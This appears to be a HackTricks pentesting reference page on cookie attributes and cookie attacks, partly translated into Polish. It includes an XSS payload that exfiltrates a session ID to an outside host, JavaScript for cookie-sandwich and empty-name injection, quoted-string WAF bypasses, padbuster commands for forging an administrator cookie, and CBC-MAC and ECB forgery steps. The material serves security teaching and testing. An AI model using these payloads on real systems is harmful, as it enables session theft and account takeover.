Cookies Hacking

Reading time: 15 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Cookies come with several attributes that control their behavior in the user's browser. Here’s a rundown of these attributes in a more passive voice:

Expires and Max-Age

The expiry date of a cookie is determined by the Expires attribute. Conversely, the Max-age attribute defines the time in seconds until a cookie is deleted. Opt for Max-age as it reflects more modern practices.

Domain

The hosts to receive a cookie are specified by the Domain attribute. By default, this is set to the host that issued the cookie, not including its subdomains. However, when the Domain attribute is explicitly set, it encompasses subdomains as well. This makes the specification of the Domain attribute a less restrictive option, useful for scenarios where cookie sharing across subdomains is necessary. For instance, setting Domain=mozilla.org makes cookies accessible on its subdomains like developer.mozilla.org.

Path

A specific URL path that must be present in the requested URL for the Cookie header to be sent is indicated by the Path attribute. This attribute considers the / character as a directory separator, allowing for matches in subdirectories as well.

Ordering Rules

When two cookies bear the same name, the one chosen for sending is based on:

  • The cookie matching the longest path in the requested URL.
  • The most recently set cookie if the paths are identical.

SameSite

  • The SameSite attribute dictates whether cookies are sent on requests originating from third-party domains. It offers three settings:
  • Strict: Restricts the cookie from being sent on third-party requests.
  • Lax: Allows the cookie to be sent with GET requests initiated by third-party websites.
  • None: Permits the cookie to be sent from any third-party domain.

Remember, while configuring cookies, understanding these attributes can help ensure they behave as expected across different scenarios.

Typ żądaniaPrzykładowy kodCookies wysyłane gdy
Link<a href="..."></a>NotSet*, Lax, None
Prerender<link rel="prerender" href=".."/>NotSet*, Lax, None
Formularz GET<form method="GET" action="...">NotSet*, Lax, None
Formularz POST<form method="POST" action="...">NotSet*, None
iframe<iframe src="..."></iframe>NotSet*, None
AJAX$.get("...")NotSet*, None
Obraz<img src="...">NetSet*, None

Table from Invicti and slightly modified.
A cookie with SameSite attribute will mitigate CSRF attacks where a logged session is needed.

*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite attribute will be lax (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
Notice that temporary, after applying this change, the cookies without a SameSite policy in Chrome will be treated as None during the first 2 minutes and then as Lax for top-level cross-site POST request.

Cookies Flags

HttpOnly

This avoids the client to access the cookie (Via Javascript for example: document.cookie)

Bypasses

  • If the page is sending the cookies as the response of a requests (for example in a PHPinfo page), it's possible to abuse the XSS to send a request to this page and steal the cookies from the response (check an example in https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
  • This could be Bypassed with TRACE HTTP requests as the response from the server (if this HTTP method is available) will reflect the cookies sent. This technique is called Cross-Site Tracking.
  • This technique is avoided by modern browsers by not permitting sending a TRACE request from JS. However, some bypasses to this have been found in specific software like sending \r\nTRACE instead of TRACE to IE6.0 SP2.
  • Another way is the exploitation of zero/day vulnerabilities of the browsers.
  • It's possible to overwrite HttpOnly cookies by performing a Cookie Jar overflow attack:

Cookie Jar Overflow

  • It's possible to use Cookie Smuggling attack to exfiltrate these cookies
  • If any server-side endpoint echoes the raw session ID in the HTTP response (e.g., inside HTML comments or a debug block), you can bypass HttpOnly by using an XSS gadget to fetch that endpoint, regex the secret, and exfiltrate it. Example XSS payload pattern:
js
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });

Secure

Żądanie wyśle ciasteczko tylko w żądaniu HTTP, jeśli żądanie jest przesyłane przez bezpieczny kanał (zwykle HTTPS).

Cookies Prefixes

Cookies prefixed with __Secure- muszą być ustawione razem z flagą secure na stronach zabezpieczonych przez HTTPS.

Dla cookies z prefiksem __Host- musi być spełnionych kilka warunków:

  • Muszą być ustawione z flagą secure.
  • Muszą pochodzić ze strony zabezpieczonej przez HTTPS.
  • Nie wolno im określać domeny, co zapobiega ich przesyłaniu do subdomen.
  • Ścieżka dla tych cookies musi być ustawiona na /.

Ważne jest, że cookies z prefiksem __Host- nie mogą być wysyłane do superdomen ani subdomen. To ograniczenie pomaga izolować ciasteczka aplikacji. Dlatego stosowanie prefiksu __Host- dla wszystkich cookies aplikacji można uznać za dobrą praktykę zwiększającą bezpieczeństwo i izolację.

Overwriting cookies

Jednym z zabezpieczeń cookies z prefiksem __Host- jest uniemożliwienie ich nadpisania z subdomen. Zapobiega to na przykład Cookie Tossing attacks. W prezentacji Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) pokazano, że możliwe było ustawienie __HOST- prefixed cookies z subdomeny, oszukując parser, na przykład dodając "=" na początku lub na początku i na końcu...:

Albo w PHP możliwe było dodanie innych znaków na początku nazwy cookie, które miały być następnie zastąpione znakami podkreślenia, co pozwalało nadpisać __HOST- cookies:

Cookies Attacks

Jeśli niestandardowe cookie zawiera wrażliwe dane, sprawdź je (szczególnie jeśli bierzesz udział w CTF), ponieważ może być podatne.

Decoding and Manipulating Cookies

Wrażliwe dane osadzone w cookies zawsze powinny być przeanalizowane. Cookies kodowane w Base64 lub podobnych formatach często można zdekodować. Ta podatność pozwala atakującym zmodyfikować zawartość cookie i podszyć się pod innych użytkowników, ponownie kodując zmienione dane do cookie.

Session Hijacking

Ten atak polega na kradzieży cookie użytkownika w celu uzyskania nieautoryzowanego dostępu do jego konta w aplikacji. Używając skradzionego cookie, atakujący może podszyć się pod prawowitego użytkownika.

Session Fixation

W tym scenariuszu atakujący nakłania ofiarę do użycia konkretnego cookie do zalogowania się. Jeśli aplikacja nie przypisze nowego cookie po logowaniu, atakujący, posiadając oryginalne cookie, może podszyć się pod ofiarę. Technika ta opiera się na tym, że ofiara loguje się przy użyciu cookie dostarczonego przez atakującego.

If you found an XSS in a subdomain or you control a subdomain, read:

Cookie Tossing

Session Donation

Tutaj atakujący przekonuje ofiarę do użycia cookie sesji atakującego. Ofiara, sądząc, że jest zalogowana na własne konto, nieumyślnie wykona działania w kontekście konta atakującego.

If you found an XSS in a subdomain or you control a subdomain, read:

Cookie Tossing

JWT Cookies

Click on the previous link to access a page explaining possible flaws in JWT.

JSON Web Tokens (JWT) używane w cookies mogą również zawierać podatności. Aby uzyskać szczegółowe informacje o potencjalnych lukach i sposobach ich wykorzystania, zaleca się zapoznanie się z podlinkowanyym dokumentem dotyczącym JWT.

Cross-Site Request Forgery (CSRF)

Ten atak zmusza zalogowanego użytkownika do wykonania niechcianych akcji w aplikacji webowej, w której jest aktualnie uwierzytelniony. Atakujący mogą wykorzystać cookies, które są automatycznie wysyłane z każdym żądaniem do podatnej strony.

Empty Cookies

(Sprawdź szczegóły w original research) Przeglądarki pozwalają na tworzenie cookies bez nazwy, co można zademonstrować w JavaScripcie w następujący sposób:

js
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"

Rezultatem w wysyłanym nagłówku cookie jest a=v1; test value; b=v2;. Co ciekawe, umożliwia to manipulację cookies, jeśli ustawione zostanie cookie o pustej nazwie, potencjalnie pozwalając kontrolować inne cookies przez ustawienie pustego cookie na konkretną wartość:

js
function setCookie(name, value) {
document.cookie = `${name}=${value}`
}

setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value

To powoduje, że przeglądarka wysyła nagłówek cookie interpretowany przez każdy serwer WWW jako cookie o nazwie a i wartości b.

Chrome — błąd: problem ze zastępczym punktem kodowym Unicode

W Chrome, jeśli zastępczy punkt kodowy Unicode jest częścią set cookie, document.cookie ulega uszkodzeniu i w konsekwencji zwraca pusty ciąg znaków:

js
document.cookie = "\ud800=meep"

To powoduje, że document.cookie zwraca pusty ciąg, co wskazuje na trwałe uszkodzenie.

(Sprawdź dalsze szczegóły w theoriginal research) Kilka serwerów WWW, w tym od Java (Jetty, TomCat, Undertow) i Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), nieprawidłowo obsługują ciągi cookie z powodu przestarzałego wsparcia RFC2965. Odczytują wartość cookie zawartą w podwójnym cudzysłowie jako pojedynczą wartość, nawet jeśli zawiera średniki, które normalnie powinny oddzielać pary klucz-wartość:

RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

(Sprawdź szczegóły woriginal research) Nieprawidłowe parsowanie cookie przez serwery, w szczególności Undertow, Zope, oraz tych korzystających z Pythona http.cookie.SimpleCookie i http.cookie.BaseCookie, stwarza możliwości ataków typu cookie injection. Te serwery nie rozgraniczają prawidłowo początku nowych cookie, co pozwala atakującym na podszywanie się pod cookie:

  • Undertow oczekuje nowego cookie bezpośrednio po cytowanej wartości bez średnika.
  • Zope szuka przecinka, aby rozpocząć parsowanie następnego cookie.
  • Klasy cookie w Pythonie zaczynają parsowanie od znaku spacji.

Ta luka jest szczególnie niebezpieczna w aplikacjach webowych polegających na ochronie CSRF opierającej się na cookie, ponieważ pozwala atakującym na wstrzyknięcie sfałszowanych CSRF-token cookie, co może prowadzić do obejścia zabezpieczeń. Problem pogłębia sposób, w jaki Python obsługuje duplikaty nazw cookie — ostatnie wystąpienie nadpisuje wcześniejsze. Budzi to również obawy dotyczące __Secure- i __Host- cookie w niebezpiecznych kontekstach i może prowadzić do obejścia autoryzacji, gdy cookie są przekazywane do back-endowych serwerów podatnych na spoofing.

Cookies $version

WAF Bypass

Zgodnie z this blogpost, możliwe jest użycie atrybutu cookie $Version=1 w celu zmuszenia backendu do użycia starej logiki parsowania cookie wynikającej z RFC2109. Ponadto inne wartości, takie jak $Domain i $Path, mogą być użyte do modyfikacji zachowania backendu poprzez cookie.

Zgodnie z this blogpost możliwe jest użycie techniki cookie sandwich do kradzieży HttpOnly cookie. Oto wymagania i kroki:

  • Znajdź miejsce, gdzie pozornie bezużyteczny cookie jest odzwierciedlany w odpowiedzi
  • Utwórz cookie o nazwie $Version o wartości 1 (możesz to zrobić w ataku XSS z JS) z bardziej specyficzną ścieżką, aby uzyskał początkową pozycję (niektóre frameworki, jak Python, nie potrzebują tego kroku)
  • Utwórz cookie, które jest odzwierciedlane z wartością pozostawiającą otwarte podwójne cudzysłowy i ze specyficzną ścieżką, tak aby było umieszczone w cookie db po poprzednim ($Version)
  • Następnie prawidłowe cookie znajdzie się dalej w kolejności
  • Utwórz fałszywe cookie, które zamyka podwójne cudzysłowy w swojej wartości

W ten sposób cookie ofiary zostaje uwięzione wewnątrz nowego cookie wersji 1 i będzie odzwierciedlane za każdym razem, gdy jest odzwierciedlane. np. z posta:

javascript
document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;

WAF bypasses

Cookies $version

Sprawdź poprzednią sekcję.

Bypassing value analysis with quoted-string encoding

To parsowanie powoduje usunięcie escape'ów z wartości wewnątrz cookies, więc "\a" staje się "a". To może być przydatne do ominięcia WAFS, np.:

  • eval('test') => forbidden
  • "\e\v\a\l\(\'\t\e\s\t\'\)" => allowed

W RFC2109 wskazano, że przecinek może być użyty jako separator między wartościami cookie. Możliwe jest też dodanie spacji i tabów przed i po znaku równości. Dlatego cookie takie jak $Version=1; foo=bar, abc = qux nie wygeneruje cookie "foo":"bar, admin = qux" ale cookies foo":"bar" i "admin":"qux". Zauważ, że wygenerowano 2 cookies i że admin stracił spację przed i po znaku równości.

Na koniec różne backdoors mogą połączyć w jednym stringu różne cookies przesłane w różnych cookie headers, jak w:

GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;

Co mogłoby pozwolić na obejście WAF, jak w tym przykładzie:

Cookie: name=eval('test//
Cookie: comment')

Resulting cookie: name=eval('test//, comment') => allowed

Dodatkowe sprawdzenia podatnych Cookies

Podstawowe sprawdzenia

  • The cookie jest taki sam za każdym razem, gdy robisz login.
  • Log out i spróbuj użyć tego samego cookie.
  • Spróbuj zrobić log in na 2 devices (or browsers) do tego samego account używając tego samego cookie.
  • Sprawdź, czy cookie zawiera jakieś informacje i spróbuj je zmodyfikować
  • Spróbuj utworzyć kilka accounts z prawie tym samym username i sprawdź, czy widać podobieństwa.
  • Sprawdź opcję "remember me", jeśli istnieje, aby zobaczyć, jak działa. Jeśli istnieje i może być podatna, zawsze używaj cookie z remember me bez żadnego innego cookie.
  • Sprawdź, czy poprzedni cookie działa nawet po zmianie hasła.

Zaawansowane ataki na cookies

Jeśli cookie pozostaje takie samo (lub prawie) podczas log in, to prawdopodobnie oznacza, że cookie jest powiązane z jakimś polem twojego account (prawdopodobnie username). Wtedy możesz:

  • Spróbuj stworzyć dużo accounts z bardzo podobnymi usernames i spróbuj guess jak działa algorytm.
  • Spróbuj bruteforce the username. Jeśli cookie saves only as an authentication method for your username, then you can create an account with username "Bmin" and bruteforce every single bit of your cookie because one of the cookies that you will try will the one belonging to "admin".
  • Spróbuj Padding Oracle (możesz decrypt zawartość cookie). Użyj padbuster.

Padding Oracle - Padbuster przykłady

bash
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf

# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Padbuster wykona kilka prób i zapyta Cię, który warunek jest warunkiem błędu (ten, który nie jest prawidłowy).

Następnie zacznie odszyfrowywać cookie (może to potrwać kilka minut)

Jeśli atak zostanie pomyślnie przeprowadzony, możesz spróbować zaszyfrować ciąg znaków według własnego wyboru. Na przykład, jeśli chcesz encrypt user=administrator

padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator

To uruchomienie zwróci cookie poprawnie zaszyfrowane i zakodowane z ciągiem user=administrator w środku.

CBC-MAC

Może się zdarzyć, że cookie będzie miało jakąś wartość i będzie podpisane przy użyciu CBC. Wówczas integralność wartości jest podpisem utworzonym przy użyciu CBC na tej samej wartości. Ponieważ zaleca się użycie jako IV wektora zerowego, tego typu sprawdzanie integralności może być podatne.

Atak

  1. Pobierz podpis dla username administ = t
  2. Pobierz podpis dla username rator\x00\x00\x00 XOR t = t'
  3. Ustaw w cookie wartość administrator+t' (t' będzie prawidłowym podpisem dla (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00)

ECB

Jeśli cookie jest zaszyfrowane przy użyciu ECB, może być podatne.
Po zalogowaniu cookie, które otrzymujesz, musi być zawsze takie samo.

Jak wykryć i zaatakować:

  • Utwórz 2 konta z niemal identycznymi danymi (username, password, email, etc.) i spróbuj odkryć jakiś wzorzec w otrzymanym cookie
  • Utwórz użytkownika np. "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" i sprawdź, czy w cookie jest jakiś wzorzec (ponieważ ECB szyfruje każdy blok tym samym kluczem, te same zaszyfrowane bajty mogą się pojawić, jeśli username jest szyfrowany).
  • Powinien być widoczny wzorzec (o rozmiarze używanego bloku). Zatem, znając jak zaszyfrowana jest seria "a", możesz stworzyć username: "a"*(size of the block)+"admin". Następnie możesz usunąć z cookie zaszyfrowany wzorzec odpowiadający blokowi "a". W ten sposób otrzymasz cookie dla username "admin".

Źródła

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks